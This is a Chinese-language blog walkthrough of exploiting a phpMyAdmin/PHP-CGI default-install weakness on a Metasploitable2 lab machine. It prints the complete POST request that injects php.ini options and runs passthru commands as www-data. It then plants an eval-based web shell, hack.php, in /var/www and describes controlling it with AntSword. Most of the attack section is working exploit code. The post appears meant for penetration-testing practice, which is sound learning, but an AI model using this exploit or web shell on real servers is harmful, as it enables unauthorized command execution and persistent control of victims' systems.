记【phpMyAdmin默认安装漏洞】

一、工具

BrupSuit
菜刀——蚁剑
kali
靶机 Metasploitable2
只要是基于php-mysql 的服务器(靶机) 一般都可尝试去查看是否存在这个漏洞

二、 /setup 目录

mysql默认安装是会产生 /phpMyAdmin 这个目录, 而这个目录下有个 /setup 目录
在这里插入图片描述
这个目录可以在不登入的情况下访问,并对服务器的数据库进行配置
e.g.
在这里插入图片描述

基于安全考虑,一般服务器在配置好数据库后,
需对 phpMyAdmin这个目录进行访问控制,
或是禁用某些文件目录,让外网不能查看!

三、具体实现步骤

3.1、利用 BrupSuit Repeater 模块进行 “重放”

POST 
http://192.168.47.133/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
HOST:192.168.47.133
Content-Length: 34

<?php
passthru('id');
die();
?>

将上面的代码放入 Repeater 中
在这里插入图片描述
Target 目标设置 靶机IP 和 端口
在这里插入图片描述
点击 GO 在 Response 模块发现 www-data 这个当前用户
到这算是验证成功了
在这里插入图片描述

3.2、代码解析

POST 
http://192.168.47.133/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
HOST:192.168.47.133
Content-Length: 34
-------------------------------------------
以上是post请求的整个头部 
phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
这条命令是配置php的 .ini 配置文件
HOST 这里写个假的也可以,我写的是目标主机的哈哈,无所谓这个
------------------------------------------
<?php
passthru('id');
die();
?>
----------------------------------------------
这个部分是在 网页 body 里的内容 
passthru()  这是php语言里用来执行系统指令的函数
id 是 系统查看当前登入用户名的指令
die() 只执行到 passthru() 这里就结束
----------------------------------------------
所以我们就可以执行系统的某些指令:
ls 、cat、cd、等等

3.3、写权限

一般用户可以在自己的目录下是有写的权限
在这里插入图片描述
发现的确新建了一个隐式 文件 a
可以 cat /var/www/a 查看写入的内容 aaabbb
在这里插入图片描述
到此我们就可以想象,既然有写的权限,那岂不是可以写个木马文件
说干就干

<?php
passthru('echo "<?php  @eval(\$_POST["hack"])?>" > /var/www/hack.php');
passthru('ls /var/www/');
passthru('cat /var/www/hack.php');
die();
?>

\  这是用来转义的 怕在传输过程中 $ 被过滤了

在这里插入图片描述
然后我们就能通过菜刀连接
我使用的是 蚁剑
连接具体参考:
蚁剑+DVWA(File Inclusion + Upload 漏洞)
蚁剑+DVWA(文件上传漏洞Upload)
在这里插入图片描述
进入它的虚拟终端文件管理数据库管理
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

我也不知道为什么比较喜欢拿别人的库2333333

PHP反弹shell实现

(这是渗透测试经常会使用的手段!)
突然发现有大佬已经写过了,那我就不写了!!!
果粒陈橙-手动漏洞挖掘 phpMyAdmin默认安装

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值